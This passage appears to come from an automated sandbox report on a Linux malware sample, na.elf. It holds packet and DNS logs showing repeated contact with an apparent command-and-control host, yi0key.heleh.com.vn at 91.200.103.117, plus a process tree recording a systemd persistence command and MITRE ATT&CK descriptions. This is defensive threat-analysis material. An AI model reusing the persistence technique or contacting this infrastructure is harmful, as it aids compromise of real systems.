Oct 7, 2024 16:26:01.069582939 CEST	56612	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:26:01.070194960 CEST	56612	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:26:01.075016975 CEST	23561	56612	91.200.103.117	192.168.2.23
Oct 7, 2024 16:26:02.684840918 CEST	23561	56612	91.200.103.117	192.168.2.23
Oct 7, 2024 16:26:02.684984922 CEST	56612	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:26:02.690722942 CEST	23561	56612	91.200.103.117	192.168.2.23
Oct 7, 2024 16:26:04.694498062 CEST	56614	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:26:04.699512959 CEST	23561	56614	91.200.103.117	192.168.2.23
Oct 7, 2024 16:26:04.699691057 CEST	56614	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:26:04.700190067 CEST	56614	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:26:04.704958916 CEST	23561	56614	91.200.103.117	192.168.2.23
Oct 7, 2024 16:26:06.507565975 CEST	23561	56614	91.200.103.117	192.168.2.23
Oct 7, 2024 16:26:06.507716894 CEST	56614	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:26:06.512618065 CEST	23561	56614	91.200.103.117	192.168.2.23
Oct 7, 2024 16:26:12.525083065 CEST	56616	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:26:12.530083895 CEST	23561	56616	91.200.103.117	192.168.2.23
Oct 7, 2024 16:26:12.530145884 CEST	56616	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:26:12.530708075 CEST	56616	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:26:12.535567045 CEST	23561	56616	91.200.103.117	192.168.2.23
Oct 7, 2024 16:26:14.252685070 CEST	23561	56616	91.200.103.117	192.168.2.23
Oct 7, 2024 16:26:14.252839088 CEST	56616	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:26:14.257863998 CEST	23561	56616	91.200.103.117	192.168.2.23
Oct 7, 2024 16:26:24.671987057 CEST	56618	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:26:24.677141905 CEST	23561	56618	91.200.103.117	192.168.2.23
Oct 7, 2024 16:26:24.677213907 CEST	56618	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:26:24.677862883 CEST	56618	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:26:24.682676077 CEST	23561	56618	91.200.103.117	192.168.2.23
Oct 7, 2024 16:26:26.311624050 CEST	23561	56618	91.200.103.117	192.168.2.23
Oct 7, 2024 16:26:26.311768055 CEST	56618	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:26:26.316596985 CEST	23561	56618	91.200.103.117	192.168.2.23
Oct 7, 2024 16:26:33.323267937 CEST	56620	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:26:33.330564976 CEST	23561	56620	91.200.103.117	192.168.2.23
Oct 7, 2024 16:26:33.330637932 CEST	56620	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:26:33.331142902 CEST	56620	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:26:33.338850021 CEST	23561	56620	91.200.103.117	192.168.2.23
Oct 7, 2024 16:26:34.953150988 CEST	23561	56620	91.200.103.117	192.168.2.23
Oct 7, 2024 16:26:34.953306913 CEST	56620	23561	192.168.2.23	91.200.103.117
Oct 7, 2024 16:26:34.960324049 CEST	23561	56620	91.200.103.117	192.168.2.23

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 7, 2024 16:23:05.947390079 CEST	56506	53	192.168.2.23	8.8.8.8
Oct 7, 2024 16:23:05.959692001 CEST	53	56506	8.8.8.8	192.168.2.23
Oct 7, 2024 16:23:15.585419893 CEST	53362	53	192.168.2.23	8.8.8.8
Oct 7, 2024 16:23:15.595879078 CEST	53	53362	8.8.8.8	192.168.2.23
Oct 7, 2024 16:23:26.233362913 CEST	39745	53	192.168.2.23	8.8.8.8
Oct 7, 2024 16:23:26.240405083 CEST	53	39745	8.8.8.8	192.168.2.23
Oct 7, 2024 16:23:28.885267973 CEST	48368	53	192.168.2.23	8.8.8.8
Oct 7, 2024 16:23:28.892528057 CEST	53	48368	8.8.8.8	192.168.2.23
Oct 7, 2024 16:23:33.601608038 CEST	49451	53	192.168.2.23	8.8.8.8
Oct 7, 2024 16:23:33.608918905 CEST	53	49451	8.8.8.8	192.168.2.23
Oct 7, 2024 16:23:44.335958958 CEST	33398	53	192.168.2.23	8.8.8.8
Oct 7, 2024 16:23:44.346298933 CEST	53	33398	8.8.8.8	192.168.2.23
Oct 7, 2024 16:23:52.063297987 CEST	37153	53	192.168.2.23	8.8.8.8
Oct 7, 2024 16:23:52.070578098 CEST	53	37153	8.8.8.8	192.168.2.23
Oct 7, 2024 16:24:00.695106983 CEST	45878	53	192.168.2.23	8.8.8.8
Oct 7, 2024 16:24:00.702564955 CEST	53	45878	8.8.8.8	192.168.2.23
Oct 7, 2024 16:24:03.340233088 CEST	47925	53	192.168.2.23	8.8.8.8
Oct 7, 2024 16:24:03.346813917 CEST	53	47925	8.8.8.8	192.168.2.23
Oct 7, 2024 16:24:08.979034901 CEST	51451	53	192.168.2.23	8.8.8.8
Oct 7, 2024 16:24:08.986745119 CEST	53	51451	8.8.8.8	192.168.2.23
Oct 7, 2024 16:24:19.602272987 CEST	37917	53	192.168.2.23	8.8.8.8
Oct 7, 2024 16:24:19.609518051 CEST	53	37917	8.8.8.8	192.168.2.23
Oct 7, 2024 16:24:25.247142076 CEST	34138	53	192.168.2.23	8.8.8.8
Oct 7, 2024 16:24:25.748636007 CEST	53	34138	8.8.8.8	192.168.2.23
Oct 7, 2024 16:24:28.368073940 CEST	53801	53	192.168.2.23	8.8.8.8
Oct 7, 2024 16:24:28.380978107 CEST	53	53801	8.8.8.8	192.168.2.23
Oct 7, 2024 16:24:39.014631987 CEST	40916	53	192.168.2.23	8.8.8.8
Oct 7, 2024 16:24:39.021981955 CEST	53	40916	8.8.8.8	192.168.2.23
Oct 7, 2024 16:24:50.673736095 CEST	52655	53	192.168.2.23	8.8.8.8
Oct 7, 2024 16:24:50.680771112 CEST	53	52655	8.8.8.8	192.168.2.23
Oct 7, 2024 16:24:58.307435036 CEST	35086	53	192.168.2.23	8.8.8.8
Oct 7, 2024 16:24:58.314532995 CEST	53	35086	8.8.8.8	192.168.2.23
Oct 7, 2024 16:25:08.994214058 CEST	48756	53	192.168.2.23	8.8.8.8
Oct 7, 2024 16:25:09.002285957 CEST	53	48756	8.8.8.8	192.168.2.23
Oct 7, 2024 16:25:14.666665077 CEST	35174	53	192.168.2.23	8.8.8.8
Oct 7, 2024 16:25:14.673780918 CEST	53	35174	8.8.8.8	192.168.2.23
Oct 7, 2024 16:25:17.293072939 CEST	49838	53	192.168.2.23	8.8.8.8
Oct 7, 2024 16:25:17.299966097 CEST	53	49838	8.8.8.8	192.168.2.23
Oct 7, 2024 16:25:21.950159073 CEST	37090	53	192.168.2.23	8.8.8.8
Oct 7, 2024 16:25:21.958036900 CEST	53	37090	8.8.8.8	192.168.2.23
Oct 7, 2024 16:25:32.573446989 CEST	57659	53	192.168.2.23	8.8.8.8
Oct 7, 2024 16:25:32.580842972 CEST	53	57659	8.8.8.8	192.168.2.23
Oct 7, 2024 16:25:38.199171066 CEST	47492	53	192.168.2.23	8.8.8.8
Oct 7, 2024 16:25:38.208892107 CEST	53	47492	8.8.8.8	192.168.2.23
Oct 7, 2024 16:25:44.058237076 CEST	36686	53	192.168.2.23	8.8.8.8
Oct 7, 2024 16:25:44.065411091 CEST	53	36686	8.8.8.8	192.168.2.23
Oct 7, 2024 16:25:50.858520985 CEST	58643	53	192.168.2.23	8.8.8.8
Oct 7, 2024 16:25:50.865180969 CEST	53	58643	8.8.8.8	192.168.2.23
Oct 7, 2024 16:25:53.583554983 CEST	47221	53	192.168.2.23	8.8.8.8
Oct 7, 2024 16:25:53.590786934 CEST	53	47221	8.8.8.8	192.168.2.23
Oct 7, 2024 16:25:56.320736885 CEST	36628	53	192.168.2.23	8.8.8.8
Oct 7, 2024 16:25:56.327975988 CEST	53	36628	8.8.8.8	192.168.2.23
Oct 7, 2024 16:26:00.953061104 CEST	47541	53	192.168.2.23	8.8.8.8
Oct 7, 2024 16:26:01.064019918 CEST	53	47541	8.8.8.8	192.168.2.23
Oct 7, 2024 16:26:04.686326027 CEST	47051	53	192.168.2.23	8.8.8.8
Oct 7, 2024 16:26:04.694154978 CEST	53	47051	8.8.8.8	192.168.2.23
Oct 7, 2024 16:26:12.516211987 CEST	52358	53	192.168.2.23	8.8.8.8
Oct 7, 2024 16:26:12.524727106 CEST	53	52358	8.8.8.8	192.168.2.23
Oct 7, 2024 16:26:24.252969027 CEST	46484	53	192.168.2.23	8.8.8.8
Oct 7, 2024 16:26:24.671441078 CEST	53	46484	8.8.8.8	192.168.2.23
Oct 7, 2024 16:26:33.312412977 CEST	43916	53	192.168.2.23	8.8.8.8
Oct 7, 2024 16:26:33.322660923 CEST	53	43916	8.8.8.8	192.168.2.23

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 7, 2024 16:23:05.947390079 CEST	192.168.2.23	8.8.8.8	0x2515	Standard query (0)	yi0key.heleh.com.vn	A (IP address)	IN (0x0001)	false
Oct 7, 2024 16:23:15.585419893 CEST	192.168.2.23	8.8.8.8	0x660a	Standard query (0)	yi0key.heleh.com.vn	A (IP address)	IN (0x0001)	false
Oct 7, 2024 16:23:26.233362913 CEST	192.168.2.23	8.8.8.8	0xb5dc	Standard query (0)	yi0key.heleh.com.vn	A (IP address)	IN (0x0001)	false
Oct 7, 2024 16:23:28.885267973 CEST	192.168.2.23	8.8.8.8	0x155e	Standard query (0)	yi0key.heleh.com.vn	A (IP address)	IN (0x0001)	false
Oct 7, 2024 16:23:33.601608038 CEST	192.168.2.23	8.8.8.8	0x4e3c	Standard query (0)	yi0key.heleh.com.vn	A (IP address)	IN (0x0001)	false
Oct 7, 2024 16:23:44.335958958 CEST	192.168.2.23	8.8.8.8	0x25ba	Standard query (0)	yi0key.heleh.com.vn	A (IP address)	IN (0x0001)	false
Oct 7, 2024 16:23:52.063297987 CEST	192.168.2.23	8.8.8.8	0x17d0	Standard query (0)	yi0key.heleh.com.vn	A (IP address)	IN (0x0001)	false
Oct 7, 2024 16:24:00.695106983 CEST	192.168.2.23	8.8.8.8	0x7a06	Standard query (0)	yi0key.heleh.com.vn	A (IP address)	IN (0x0001)	false
Oct 7, 2024 16:24:03.340233088 CEST	192.168.2.23	8.8.8.8	0xce61	Standard query (0)	yi0key.heleh.com.vn	A (IP address)	IN (0x0001)	false
Oct 7, 2024 16:24:08.979034901 CEST	192.168.2.23	8.8.8.8	0x7ff	Standard query (0)	yi0key.heleh.com.vn	A (IP address)	IN (0x0001)	false
Oct 7, 2024 16:24:19.602272987 CEST	192.168.2.23	8.8.8.8	0xb8cf	Standard query (0)	yi0key.heleh.com.vn	A (IP address)	IN (0x0001)	false
Oct 7, 2024 16:24:25.247142076 CEST	192.168.2.23	8.8.8.8	0x38aa	Standard query (0)	yi0key.heleh.com.vn	A (IP address)	IN (0x0001)	false
Oct 7, 2024 16:24:28.368073940 CEST	192.168.2.23	8.8.8.8	0x315	Standard query (0)	yi0key.heleh.com.vn	A (IP address)	IN (0x0001)	false
Oct 7, 2024 16:24:39.014631987 CEST	192.168.2.23	8.8.8.8	0x291c	Standard query (0)	yi0key.heleh.com.vn	A (IP address)	IN (0x0001)	false
Oct 7, 2024 16:24:50.673736095 CEST	192.168.2.23	8.8.8.8	0x97e9	Standard query (0)	yi0key.heleh.com.vn	A (IP address)	IN (0x0001)	false
Oct 7, 2024 16:24:58.307435036 CEST	192.168.2.23	8.8.8.8	0x8259	Standard query (0)	yi0key.heleh.com.vn	A (IP address)	IN (0x0001)	false
Oct 7, 2024 16:25:08.994214058 CEST	192.168.2.23	8.8.8.8	0xc05	Standard query (0)	yi0key.heleh.com.vn	A (IP address)	IN (0x0001)	false
Oct 7, 2024 16:25:14.666665077 CEST	192.168.2.23	8.8.8.8	0x62c2	Standard query (0)	yi0key.heleh.com.vn	A (IP address)	IN (0x0001)	false
Oct 7, 2024 16:25:17.293072939 CEST	192.168.2.23	8.8.8.8	0xcd69	Standard query (0)	yi0key.heleh.com.vn	A (IP address)	IN (0x0001)	false
Oct 7, 2024 16:25:21.950159073 CEST	192.168.2.23	8.8.8.8	0x5238	Standard query (0)	yi0key.heleh.com.vn	A (IP address)	IN (0x0001)	false
Oct 7, 2024 16:25:32.573446989 CEST	192.168.2.23	8.8.8.8	0x8dc1	Standard query (0)	yi0key.heleh.com.vn	A (IP address)	IN (0x0001)	false
Oct 7, 2024 16:25:38.199171066 CEST	192.168.2.23	8.8.8.8	0x1347	Standard query (0)	yi0key.heleh.com.vn	A (IP address)	IN (0x0001)	false
Oct 7, 2024 16:25:44.058237076 CEST	192.168.2.23	8.8.8.8	0x8ccd	Standard query (0)	yi0key.heleh.com.vn	A (IP address)	IN (0x0001)	false
Oct 7, 2024 16:25:50.858520985 CEST	192.168.2.23	8.8.8.8	0x3550	Standard query (0)	yi0key.heleh.com.vn	A (IP address)	IN (0x0001)	false
Oct 7, 2024 16:25:53.583554983 CEST	192.168.2.23	8.8.8.8	0x9bc7	Standard query (0)	yi0key.heleh.com.vn	A (IP address)	IN (0x0001)	false
Oct 7, 2024 16:25:56.320736885 CEST	192.168.2.23	8.8.8.8	0x18a4	Standard query (0)	yi0key.heleh.com.vn	A (IP address)	IN (0x0001)	false
Oct 7, 2024 16:26:00.953061104 CEST	192.168.2.23	8.8.8.8	0x7842	Standard query (0)	yi0key.heleh.com.vn	A (IP address)	IN (0x0001)	false
Oct 7, 2024 16:26:04.686326027 CEST	192.168.2.23	8.8.8.8	0x37e8	Standard query (0)	yi0key.heleh.com.vn	A (IP address)	IN (0x0001)	false
Oct 7, 2024 16:26:12.516211987 CEST	192.168.2.23	8.8.8.8	0x885f	Standard query (0)	yi0key.heleh.com.vn	A (IP address)	IN (0x0001)	false
Oct 7, 2024 16:26:24.252969027 CEST	192.168.2.23	8.8.8.8	0xc965	Standard query (0)	yi0key.heleh.com.vn	A (IP address)	IN (0x0001)	false
Oct 7, 2024 16:26:33.312412977 CEST	192.168.2.23	8.8.8.8	0x6781	Standard query (0)	yi0key.heleh.com.vn	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Oct 7, 2024 16:23:05.959692001 CEST	8.8.8.8	192.168.2.23	0x2515	No error (0)	yi0key.heleh.com.vn	91.200.103.117	A (IP address)	IN (0x0001)	false
Oct 7, 2024 16:23:15.595879078 CEST	8.8.8.8	192.168.2.23	0x660a	No error (0)	yi0key.heleh.com.vn	91.200.103.117	A (IP address)	IN (0x0001)	false
Oct 7, 2024 16:23:26.240405083 CEST	8.8.8.8	192.168.2.23	0xb5dc	No error (0)	yi0key.heleh.com.vn	91.200.103.117	A (IP address)	IN (0x0001)	false
Oct 7, 2024 16:23:28.892528057 CEST	8.8.8.8	192.168.2.23	0x155e	No error (0)	yi0key.heleh.com.vn	91.200.103.117	A (IP address)	IN (0x0001)	false
Oct 7, 2024 16:23:33.608918905 CEST	8.8.8.8	192.168.2.23	0x4e3c	No error (0)	yi0key.heleh.com.vn	91.200.103.117	A (IP address)	IN (0x0001)	false
Oct 7, 2024 16:23:44.346298933 CEST	8.8.8.8	192.168.2.23	0x25ba	No error (0)	yi0key.heleh.com.vn	91.200.103.117	A (IP address)	IN (0x0001)	false
Oct 7, 2024 16:23:52.070578098 CEST	8.8.8.8	192.168.2.23	0x17d0	No error (0)	yi0key.heleh.com.vn	91.200.103.117	A (IP address)	IN (0x0001)	false
Oct 7, 2024 16:24:00.702564955 CEST	8.8.8.8	192.168.2.23	0x7a06	No error (0)	yi0key.heleh.com.vn	91.200.103.117	A (IP address)	IN (0x0001)	false
Oct 7, 2024 16:24:03.346813917 CEST	8.8.8.8	192.168.2.23	0xce61	No error (0)	yi0key.heleh.com.vn	91.200.103.117	A (IP address)	IN (0x0001)	false
Oct 7, 2024 16:24:08.986745119 CEST	8.8.8.8	192.168.2.23	0x7ff	No error (0)	yi0key.heleh.com.vn	91.200.103.117	A (IP address)	IN (0x0001)	false
Oct 7, 2024 16:24:19.609518051 CEST	8.8.8.8	192.168.2.23	0xb8cf	No error (0)	yi0key.heleh.com.vn	91.200.103.117	A (IP address)	IN (0x0001)	false
Oct 7, 2024 16:24:25.748636007 CEST	8.8.8.8	192.168.2.23	0x38aa	No error (0)	yi0key.heleh.com.vn	91.200.103.117	A (IP address)	IN (0x0001)	false
Oct 7, 2024 16:24:28.380978107 CEST	8.8.8.8	192.168.2.23	0x315	No error (0)	yi0key.heleh.com.vn	91.200.103.117	A (IP address)	IN (0x0001)	false
Oct 7, 2024 16:24:39.021981955 CEST	8.8.8.8	192.168.2.23	0x291c	No error (0)	yi0key.heleh.com.vn	91.200.103.117	A (IP address)	IN (0x0001)	false
Oct 7, 2024 16:24:50.680771112 CEST	8.8.8.8	192.168.2.23	0x97e9	No error (0)	yi0key.heleh.com.vn	91.200.103.117	A (IP address)	IN (0x0001)	false
Oct 7, 2024 16:24:58.314532995 CEST	8.8.8.8	192.168.2.23	0x8259	No error (0)	yi0key.heleh.com.vn	91.200.103.117	A (IP address)	IN (0x0001)	false
Oct 7, 2024 16:25:09.002285957 CEST	8.8.8.8	192.168.2.23	0xc05	No error (0)	yi0key.heleh.com.vn	91.200.103.117	A (IP address)	IN (0x0001)	false
Oct 7, 2024 16:25:14.673780918 CEST	8.8.8.8	192.168.2.23	0x62c2	No error (0)	yi0key.heleh.com.vn	91.200.103.117	A (IP address)	IN (0x0001)	false
Oct 7, 2024 16:25:17.299966097 CEST	8.8.8.8	192.168.2.23	0xcd69	No error (0)	yi0key.heleh.com.vn	91.200.103.117	A (IP address)	IN (0x0001)	false
Oct 7, 2024 16:25:21.958036900 CEST	8.8.8.8	192.168.2.23	0x5238	No error (0)	yi0key.heleh.com.vn	91.200.103.117	A (IP address)	IN (0x0001)	false
Oct 7, 2024 16:25:32.580842972 CEST	8.8.8.8	192.168.2.23	0x8dc1	No error (0)	yi0key.heleh.com.vn	91.200.103.117	A (IP address)	IN (0x0001)	false
Oct 7, 2024 16:25:38.208892107 CEST	8.8.8.8	192.168.2.23	0x1347	No error (0)	yi0key.heleh.com.vn	91.200.103.117	A (IP address)	IN (0x0001)	false
Oct 7, 2024 16:25:44.065411091 CEST	8.8.8.8	192.168.2.23	0x8ccd	No error (0)	yi0key.heleh.com.vn	91.200.103.117	A (IP address)	IN (0x0001)	false
Oct 7, 2024 16:25:50.865180969 CEST	8.8.8.8	192.168.2.23	0x3550	No error (0)	yi0key.heleh.com.vn	91.200.103.117	A (IP address)	IN (0x0001)	false
Oct 7, 2024 16:25:53.590786934 CEST	8.8.8.8	192.168.2.23	0x9bc7	No error (0)	yi0key.heleh.com.vn	91.200.103.117	A (IP address)	IN (0x0001)	false
Oct 7, 2024 16:25:56.327975988 CEST	8.8.8.8	192.168.2.23	0x18a4	No error (0)	yi0key.heleh.com.vn	91.200.103.117	A (IP address)	IN (0x0001)	false
Oct 7, 2024 16:26:01.064019918 CEST	8.8.8.8	192.168.2.23	0x7842	No error (0)	yi0key.heleh.com.vn	91.200.103.117	A (IP address)	IN (0x0001)	false
Oct 7, 2024 16:26:04.694154978 CEST	8.8.8.8	192.168.2.23	0x37e8	No error (0)	yi0key.heleh.com.vn	91.200.103.117	A (IP address)	IN (0x0001)	false
Oct 7, 2024 16:26:12.524727106 CEST	8.8.8.8	192.168.2.23	0x885f	No error (0)	yi0key.heleh.com.vn	91.200.103.117	A (IP address)	IN (0x0001)	false
Oct 7, 2024 16:26:24.671441078 CEST	8.8.8.8	192.168.2.23	0xc965	No error (0)	yi0key.heleh.com.vn	91.200.103.117	A (IP address)	IN (0x0001)	false
Oct 7, 2024 16:26:33.322660923 CEST	8.8.8.8	192.168.2.23	0x6781	No error (0)	yi0key.heleh.com.vn	91.200.103.117	A (IP address)	IN (0x0001)	false

System Behavior

Analysis Process: na.elf PID: 6269, Parent PID: 6181

General

Start time (UTC):	14:23:04
Start date (UTC):	07/10/2024
Path:	/tmp/na.elf
Arguments:	/tmp/na.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	14:23:05
Start date (UTC):	07/10/2024
Path:	/tmp/na.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	14:23:05
Start date (UTC):	07/10/2024
Path:	/tmp/na.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	14:23:05
Start date (UTC):	07/10/2024
Path:	/bin/sh
Arguments:	/bin/sh -c "systemctl enable sbolo.service > /dev/null 2>&1"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	14:23:05
Start date (UTC):	07/10/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	14:23:05
Start date (UTC):	07/10/2024
Path:	/usr/bin/systemctl
Arguments:	systemctl enable sbolo.service
File size:	996584 bytes
MD5 hash:	4deddfb6741481f68aeac522cc26ff4b

Start time (UTC):	14:23:05
Start date (UTC):	07/10/2024
Path:	/tmp/na.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	14:23:05
Start date (UTC):	07/10/2024
Path:	/usr/lib/systemd/systemd
Arguments:	-
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Start time (UTC):	14:23:05
Start date (UTC):	07/10/2024
Path:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
Arguments:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
File size:	22760 bytes
MD5 hash:	3633b075f40283ec938a2a6a89671b0e

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify systemd services to repeatedly execute malicious payloads as part of persistence. Systemd is a system and service manager commonly used for managing background daemon processes (also known as services) and other system resources.Systemd is the default initialization (init) system on many Linux distributions replacing legacy init systems, including SysVinit and Upstart, while remaining backwards compatible.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Creation, File: File Modification, Process: Process Creation, Service: Service Creation, Service: Service Modification
Platforms:	Linux
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report na.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/etc/systemd/system/sbolo.service

/memfd:snapd-env-generator (deleted)

/tmp/qemu-open.rzupep (deleted)

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Symbols

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

System Behavior

Analysis Process: na.elf PID: 6269, Parent PID: 6181

General

Chronological Activities

Analysis Process: na.elf PID: 6271, Parent PID: 6269

General

Chronological Activities

Analysis Process: na.elf PID: 6273, Parent PID: 6269

General

Chronological Activities

Analysis Process: sh PID: 6273, Parent PID: 6269

General

Linux Analysis Report
na.elf